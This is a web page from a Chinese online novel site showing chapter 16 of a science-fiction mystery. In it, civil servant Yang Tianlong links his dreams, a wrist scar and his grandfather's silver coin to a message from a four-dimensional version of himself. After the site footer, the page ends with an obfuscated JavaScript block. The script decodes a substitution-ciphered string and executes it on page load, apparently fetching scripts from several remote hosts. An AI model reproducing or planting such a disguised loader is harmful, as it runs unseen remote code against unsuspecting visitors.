首页

[切换至繁体版]

返回

关灯 护眼:开 字号:中

十六章 这边走 那边走 只是寻花问柳

    十六章这边走那边走只是寻花问柳(第1/2页)
    凌晨五点十七分,西江市银泉区“打狗河”河面上的晨雾尚未散尽。杨天龙从一场漫长而破碎的梦境中挣扎醒来,额头上全是冰凉的冷汗。
    梦里没有完整的叙事,只有飞速闪过的混乱画面:实验室里刺目的蓝光与旋转的能量涡旋,他甚至“闻”到了臭氧和金属电离的味道;一个苍老而嘶哑的声音重复着“钥匙在转动”“门已松动”;漫天的星光如瀑布般倒灌,其中猎户座的腰带三星格外明亮,明亮得不自然;最后,是一张熟悉又陌生的脸——他自己的脸,穿着银灰色的衣服,在某种无法形容的蓝银色交织的环境里,对他点头微笑……
    心脏在胸腔里狂跳,耳膜深处残留着低频的嗡鸣,像有巨大的机器在很远的地方启动。他坐起身,窗外城市还未完全苏醒,只有远处工业园区的灯光在雾中晕开成模糊的光团。手腕上那道淡白色的环形疤痕,此刻正传来微弱但清晰的灼热感,仿佛皮下有根细小的血管在搏动。
    这不是第一次了。自从一个月前,韦城突然开始频繁加班、语焉不详,自从自己那些关于“蓝光”和“脑中声音”的梦境越来越清晰、越具体,某种长久以来潜伏在生活表层下的东西,似乎正迫不及待地要浮出水面。
    他抓过床头的手机,屏幕亮起,显示着几条未读信息。一条是单位工作群里的例行通知,一条是母亲提醒他周末回北槐村看看外公的留言,还有一条是韦城在凌晨三点十七分发来的,只有两个字:“勿念。”
    勿念。杨天龙盯着这两个字,手指悬在屏幕上方。自从韦城无意中透漏在“特殊部门”工作,杨天龙就开始了解,这简单的两个字背后,往往意味着极其复杂和危险的状况。韦城所在的那个“特殊部门”,具体做什么他并不清楚,只知道涉及“特殊技术安全”,保密级别极高。他们从小一起长大,但有些界线,彼此心照不宣地从未跨越。
    窗外传来早班公交车驶过的声音,生活秩序井然的表皮再次覆盖上来。杨天龙深吸一口气,将那些混乱的梦境和不安的揣测暂时压下。今天周四,他还要去上班,处理那些永远处理不完的报表、回复那些措辞严谨的公文、面对科室王科长那张永远写满“你不懂事”的脸。
    起床,洗漱,对着镜子刮胡子。镜中的自己,26岁,眼神里有着体制内普通科员常见的、被琐碎事务磨去棱角后的温和与一丝疲惫。就是这样一张自认为普通的脸,会在梦里穿着银灰制服,出现在诡异的空间里?他扯了扯嘴角,露出一个自嘲的笑。也许真该听韦城的建议,去看看心理医生。
    穿好熨烫平整的衬衫和藏青色制服外套。出门前,他习惯性地看了一眼客厅书架最上层那个不起眼的铁皮盒子——里面装着外公几年前交给他的几样旧物:一枚生锈的民兵哨子、几张褪色的老照片、还有一枚奇诡的银币。外公当时神情异常严肃:“天龙,这些东西,收好。万一……万一哪天我走了,或者你遇到什么想不通的怪事,特别是跟北槐村后山、跟‘光’有关的事,就拿着这枚银币,去市里找一个叫‘四哥’的人。就说,是北槐村‘老帅’的外孙。”
    “四哥”?他后来打听过,是市文广局早已退休的一位老民俗专家,据说懂些“老法子”。至于“光”……杨天龙只记得小时候有一次跟外公去后山,看到过林子里有瞬间闪过的、不像是电筒或车灯的光,但记忆模糊。外公再未提过,他也就渐渐忘了。
    此刻,看着那铁皮盒子,手腕的疤痕又隐隐一烫。他摇摇头,锁上门,走进尚未完全明亮的清晨。
    西江市食品药品监督管理局的大楼陈旧而肃穆。一年前,杨天龙被调整了部门,领导变成了现在的王科长,办公室在四楼东侧,采光不好,常年弥漫着纸张、油墨和某种陈腐的气息。他的办公桌靠窗,但窗外是对面楼的墙壁,只有一线天光能挤进来。
    上午的工作平淡如水,却又暗流涌动。科室正在筹备一个全省系统的专项检查迎检,王科长将最繁琐、最吃力不讨好的基础数据核对和报告初稿撰写任务丢给了他,美其名曰“年轻人多锻炼”。同科室的李姐悄悄给他发了条微信:“小心点,老王最近在局领导那里没少说你‘大局观不够’,这次报告要是出点岔子,年底评优你肯定又没戏。”
    杨天龙回了句“谢谢李姐”,心里没什么波澜。这种打压,从他几年前因为坚持原则,没给王科长亲戚开绿灯的那家食品厂“行方便”之后,就开始了。他并非没有能力调走或反抗,只是一方面母亲总劝他“稳定压倒一切”,另一方面,内心深处某种奇怪的惰性或者说……疏离感,让他觉得这一切都像是发生在别人身上的戏,他只是个被迫参与的观众。就像他看待自己对韩蕊那段无疾而终的暗恋。
    韩蕊。这个名字像一根细小的刺,偶尔还是会扎一下。记忆闪回到一年多前,全省系统文艺汇演,他们局里的民族舞蹈《西江情缘》拿了二等奖。她是他的舞伴,他是被拉去凑数的男队员之一。排练的一个多月,是他黯淡体制生涯里少有的一抹亮色。她笑起来眼睛弯弯的,柔顺的长发,身上散发出的让他感觉奇异的体香,练舞间隙大家起哄,她也不恼,只是脸颊微红。那天,他鼓足勇气,悄悄把一蓝匿名花送到她手中,花签上只写了一个“杨”字。后来……没有后来。一个月后,他收到她的结婚请柬,新郎也姓杨。收到请柬那天,他在家里对着镜子,结结实实打了自己一记耳光。不是恨,是某种荒诞的醒悟——自己连认真去争取的勇气都没有,只敢躲在模糊的署名背后,像个怯懦的幽灵。
    “小杨!杨天龙!”王科长不满的声音把他从回忆里拽出,“发什么呆!这份数据报表,下班前必须核对完交给我!领导明天就要看!”
    “好的,科长。”他低下头,重新看向屏幕上密密麻麻的数字。手腕的疤痕又传来一次微弱的悸动,这次伴随着极其短暂的一阵眩晕,视野边缘似乎有淡蓝色的光斑一闪而过。他闭了闭眼,再睁开,一切正常。
    是没休息好,还是……
    他强迫自己集中精神在数字上,但思绪却不由自主地飘向昨晚的梦,飘向韦城那“勿念”二字,飘向外公铁盒里那枚奇诡的银币,飘向北槐村后山的迷雾和传说中失踪的村民。
    “这边走,那边走,只是寻花柳。”他脑海里莫名冒出这句不知从哪里听来的词句,带着某种戏谑又苍凉的调子。自己的人生,不也正是如此吗?在体制的迷宫里这边走,那边走,以为是在追寻些什么,事业?爱情?认可?最后却发现可能只是在一片看似繁华、实则虚幻的“花柳”丛中打转。而那些真正重要的、与自己血脉相连的、甚至可能撼动认知的“东西”,却被忽略、被遗忘、被压在铁皮盒子和童年模糊记忆的底层。
    午休时间,杨天龙避开食堂嘈杂的人群,独自走到办公楼后僻静的小花园。他拨通了母亲的电话。
    “妈,你回北槐了吗,外公最近身体怎么样?”
    “没回,最近来你小姨来我这玩,说外公还是老样子,天天早上还练他那套拳,雷打不动。”母亲的声音透着笑意,随即又压低,“就是有时候半夜会醒,坐在院子里发呆,问他,就说梦见以前山里的事了。”
    山里的事。杨天龙心里一动。“妈,我好像记得外公说过,村里有几个人在山里失踪了,那时我没在意,你了解具体情况吗?”
    电话那头沉默了几秒,母亲的声音变得有些谨慎:“你问这个干嘛?都是陈年旧事了。”
    “就是突然想起来,有点好奇。那个叫‘四哥’的能人去帮忙找,不知道后面的情况怎样了”
    母亲叹了口气:“那时你高中,假期你都还在村里呢,连续5天村里五个人,进后山‘老鹰坳’那片后没在回来。你外公当时虽然不再是村长,但是村里的大事都要让你外公处理。后来报警了,派出所和民兵也进山找过,没线索。后来没法子,你外公凭着多年关系,请动了当时市文广局一位退休的老专家,人家都尊称一声‘四哥’。四哥来了以后,没带搜救队,就带着人自己在村里转了转,问了那四个人家里的情况,要了他们的贴身旧物,然后他们几个进了山。”
    “找到了吗?”
    “后来,四哥只带出来两个人。那两人浑浑噩噩的,身上没伤,但问什么都说不记得,只说好像在雾里一直走。另外的人……生不见人,死不见尸。四哥跟你外公关起门来谈了一下午,出来脸色很差,只对你外公说了一句:‘老帅,那片地方,封了吧,别再让人进去。’后来村里就立了规矩,不许再去‘老鹰坳’深处。再后来,大家都慢慢看淡了这件事。”母亲顿了顿,“天龙,你突然问这些,是不是……听说了什么?还是最近遇到了什么事?”
    “没有,妈,就是随便问问。”杨天龙连忙说,手腕的疤痕却毫无征兆地再次发烫,这次持续时间更长,他甚至感到一丝轻微的、沿着手臂上传的麻痹感。“外公他……除了练拳,有没有说过别的?比如,在山里见过什么特别的东西?光之类的?”
    “光?”母亲的声音更加疑惑,“没听他说过……哦,好像有一次,很多年前了,他随口提过一句,说在5人失踪前的三个月,他看到过山上出现‘鬼火’一样的物体,金黄色亮得吓人,跟闪电似的,照得满山通明一瞬就没了。他说可能看花眼了。你怎么净问这些怪力乱神的事?好好上班才是正经。”
    又闲聊几句,挂了电话。杨天龙站在小花园里,初秋午后的阳光透过稀疏的树叶洒下来,明明有些暖意,他却感到一阵寒意从心底泛起。
    失踪。迷雾。生不见人。四哥的警告。外公看到的“鬼火”。还有自己手腕上这道来历不明、此刻异常活跃的疤痕,以及越来越清晰的、涉及“蓝光”和“声音”的梦境。
    (本章未完,请点击下一页继续阅读)十六章这边走那边走只是寻花问柳(第2/2页)
    这些散落的点,如果连成线,会指向什么?
    他想起了韦城偶尔透露的只言片语,关于他处理的“特殊事务”,关于一些“无法解释的现象”。还有韦城那位神秘的“老板”,据说权限极高。
    一个荒诞却又无法忽视的念头浮上心头:自己,以及外公的经历,会不会和韦城那个隐秘世界的某个角落,有着某种联系?外公曾经给他看过的那块灰扑扑的石头,真的是普通的石头吗?
    下班回到家,疲惫感如潮水般涌来,但精神却异常清醒。杨天龙没有开灯,在昏暗的客厅里坐下,目光再次投向书架上的铁皮盒子。
    他走过去,取下盒子,打开。民兵哨子、老照片、还有枚银币。他拿起银币,入手微凉,没有任何特异之处。但当他握紧它,尝试集中精神去“感受”时,手腕的疤痕猛地传来一阵强烈的灼痛!与此同时,耳边骤然响起一阵尖锐的耳鸣,视野瞬间被一片淡蓝色的光幕覆盖!
    光幕中,无数破碎的画面和信息流疯狂涌入:
    一个苍老但矫健的身影,是外公!在凌晨黝黑的山林中练习拳法,动作刚猛,带动晨雾流动。突然,头顶树林上空毫无征兆地出现一个模糊的、散发着柔和白光的梭形轮廓!一道凝实的、水桶粗细的纯白光柱从天而降,精准地笼罩住外公!外公的动作瞬间定格,脸上浮现出茫然、痛苦、继而空洞的神情。白光持续了大约十秒,倏然收回,梭形轮廓无声无息地没入更高的天际,消失不见。外公晃了晃,茫然地看了看四周,仿佛刚才只是一瞬失神,然后摇摇头,继续打完剩下的拳架。但某个至关重要的“信息包”,已经被无声地植入又封锁在他意识的深处。
    还是那座山,但视角更高。密林深处,有微弱的不规则蓝光在隐约闪烁,像是呼吸。蓝光周围的地面植被,呈现出不自然的扭曲和灰败。
    飞速滚动的、无法理解的符号和几何图形,伴随着那个在梦境中出现过的、忧伤而严肃的声音,直接在他脑海深处回响:“……时间断裂……四极空间……共振点……钥匙……门……归乡协议......”
    “啊!”杨天龙痛呼一声,松开石头,幻象和声音戛然而止。他瘫坐在椅子上,大口喘着气,冷汗浸透了衬衫。手中的银币暗淡无光,毫无异状。
    那不是梦,也不是幻觉。那是被封存在银币里,或者被自己血脉中的某种东西引动的……记忆碎片?信息残留?
    他跌跌撞撞地冲到洗手间,用冷水猛冲脸颊。抬起头,镜中的自己脸色苍白,眼神里充满了惊恐与难以置信。但除了这些,还有一种被强行打开的、对世界另一面的骇然认知。
    那个梦。那个关于不同维度空间、时间断裂、以及另一个“自己”的梦,前所未有的清晰起来。
    他冲回客厅,打开笔记本电脑,手指因为激动和残余的惊悸而微微颤抖。开机等待的十几秒,漫长得像一个世纪。他想起了梦中那个“自己”的话:“如果你想见到我的真面目,去打开你的电脑……”
    屏幕亮起,桌面显现。没有异常。
    他死死盯着屏幕,心跳如鼓。
    十秒。
    二十秒。
    三十秒。
    就在他几乎要以为那真的只是一场过于离奇的梦境时,屏幕突然毫无征兆地一暗,并非黑屏,而是陷入了一种深不见底的幽蓝。紧接着,蓝色的背景中,一个身影由模糊迅速变得清晰。
    银灰色的连体制服,剪裁利落,材质看起来非布非革,泛着微光。面容——正是杨天龙自己,但更冷峻,眼神深邃得像蕴含星空,嘴角带着一丝看透世情的淡然微笑。.
    屏幕上的“杨天龙”微微颔首,开口,声音并非从音箱传出,而是直接在他脑海中形成清晰的语言波动,与梦中无异:“你好,三维空间的我。或者说,沉睡的这一部分‘我们’。”
    杨天龙张了张嘴,发不出声音。极度的震惊甚至压倒了恐惧。
    “很抱歉以这种方式,在这个时间点强行建立稳定连接。”“杨天龙”的声音带着歉意,但更多的是紧迫,“前方的‘窗口期’非常短暂且不稳定。我们长话短说。”
    “你……你到底是谁?”杨天龙终于挤出一句话。
    “我是你,是在四维空间基准线上存在的‘杨天龙’意识投射体。更准确地说,是‘我们’整体意识中,负责在更高维度进行观测、计算和执行‘归乡协议’关键部分的那一个‘面’。”屏幕上的“他”语速加快,“还记得梦中我跟你提过的‘时间断裂’危机吗?那不是比喻,是正在发生的现实。不同维度空间的时间轴正在因为宇宙尺度的磁场异动而失去同步,产生‘裂痕’。裂痕的蔓延,最终会导致所有维度的时间流崩溃、混合,一切归于混沌的‘奇点’之前的状态。六维空间的‘我们’——那是更接近本源、统筹全局的层面——已经推演出唯一可能的干涉方案:在四极空间,三、四、五、六维中,同时找到特定的‘共振点’,注入校准能量,修复时间轴。”
    “这……跟我有什么关系?”杨天龙感到口干舌燥。
    “因为‘共振点’不是地点,是‘人’。”屏幕上的“他”目光如炬,“是那些在生命编码中,因各种机缘,比如接触星核物质、被高维能量照射、血脉遗传特定突变等,,而被打上了‘时空锚点’印记的个体。你是其中之一,而且是目前三维空间检测到的、印记活性最高、与‘钥匙’,星核原体,潜在共鸣度最强的个体。你外公当年被蓝影族逃亡飞船的扫描光照射,信息植入;你幼年时接触过星核碎片,手腕留下疤痕;你近期的梦境感应……都是印记激活的表现。”
    星核?蓝影族?
    “韦城……老板……他们知道吗?”
    “518局,以及你朋友韦城所在的小组,他们接触到了实体‘星核’,并且已经引起了‘掠夺派’深蓝的注意。他们的行动是危机的一部分,但并非核心。核心在你。”
    “他”的表情严肃起来,“三维空间的战争、纷争、人与人之间的隔阂,使得大规模协同拯救成为不可能。因此,计划必须由少数关键个体在无形中执行。你需要做的,不是去战斗,而是去‘觉醒’和‘引导’。”
    “引导什么?怎么做?”
    “引导你体内逐渐苏醒的印记力量,在正确的时机,与正确的‘钥匙’产生共鸣。届时,你自然会知道该做什么。目前,你需要保护自己,避免被‘深蓝’或其在地球的代理者过早发现。他们也在寻找高活性印记个体,目的与我们相反——他们想利用时间裂痕,撬开更大的维度通道,进行掠夺或入侵。”屏幕上的图像开始出现细微的雪花和波动,声音也变得断续,“连接……不稳定……听好……去北槐村……找你外公……‘老鹰坳’……有最初的‘信号源’……小心……信任……韦城……但有些路……必须你独自……”
    话音未落,屏幕猛地一黑,随即恢复正常桌面。仿佛刚才的一切从未发生。
    杨天龙呆坐在电脑前,浑身的血液都像是凝固了,然后又疯狂地奔涌起来。另一个维度的自己。时间断裂的危机。自己是“共振点”。外公的经历不是意外。北槐村的后山藏着“信号源”。危险与使命并存……
    这一切远远超出了他26年来对世界的认知。同事的勾心斗角,无疾而终的暗恋,生活的平庸乏味……在这样一个宏大、荒诞又无比真实的宇宙危机面前,瞬间褪色成无关紧要的背景噪点。
    他抬起手,看着手腕上那道此刻已恢复平静、但存在感无比强烈的疤痕。这不是胎记,不是伤疤,这是一个“锚点”,一个“印记”,一个将他与星辰、与时间、与一场跨越维度的救赎行动连接起来的……烙印。
    窗外,夜色已浓。城市的灯火依旧璀璨,但这璀璨之下,一个普通人杨天龙的世界观,已经悄然崩塌、重组。
    他不再是那个只能在意科长脸色、偷偷怀念无果恋情的杨天龙。他是“共振点”,是“钥匙”的潜在持有者,是另一个维度自己的“三维投影”,是一场无声宇宙战争的关键节点。
    杨天龙低头思索着,他感觉过往的人生是在迷宫,而现在,一条截然不同的、危险而真实的道路,在脚下裂开。
    他需要答案,需要了解过去,才能面对那来自未来,或者说其他维度的、沉重无比的托付。这边走,是退回相对“正常”的世界,也许可以装作一切都没发生,继续回去上班,应付王科长,在体制内慢慢熬资历,将来像父母一样退休,搬到海边。那边走,是深入黑暗和未知,去揭开家族伤痕的秘密,去面对可能完全颠覆认知的真相,甚至可能再也回不来。
    “这边走,那边走,只是寻花柳……”他低声念着,嘴角泛起苦涩。
    他曾以为人生的“花”是职位、是认可、“柳”是像韩蕊那样温暖却不可得的爱情。现在才明白,那些或许只是浮萍。真正的“道路”,早已被血脉中的印记、被时空的裂隙、被另一个维度自己的呼唤所注定。
    在杨天龙做出决定的这一刻,西江市北郊地下实验室深处,那两枚共鸣的石头光芒达到了一个短暂的峰值;猎户座方向的信号强度,也随之发生了同步的、剧烈的脉动;遥远的、不可见的维度裂缝,似乎又悄然拓宽了一丝。
    这边走,是回望血脉与土地的根。那边走,是仰望星空与时间的谜。而寻的,不再是虚幻的“花柳”,或许是拯救一切的微渺希望,又或许是通向毁灭的深渊入口。
    杨天龙不知道答案。但他知道,自己必须开始走了。

一秒记住【882小说网】
882xiaoshuo.com,更新快,无弹窗!

章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();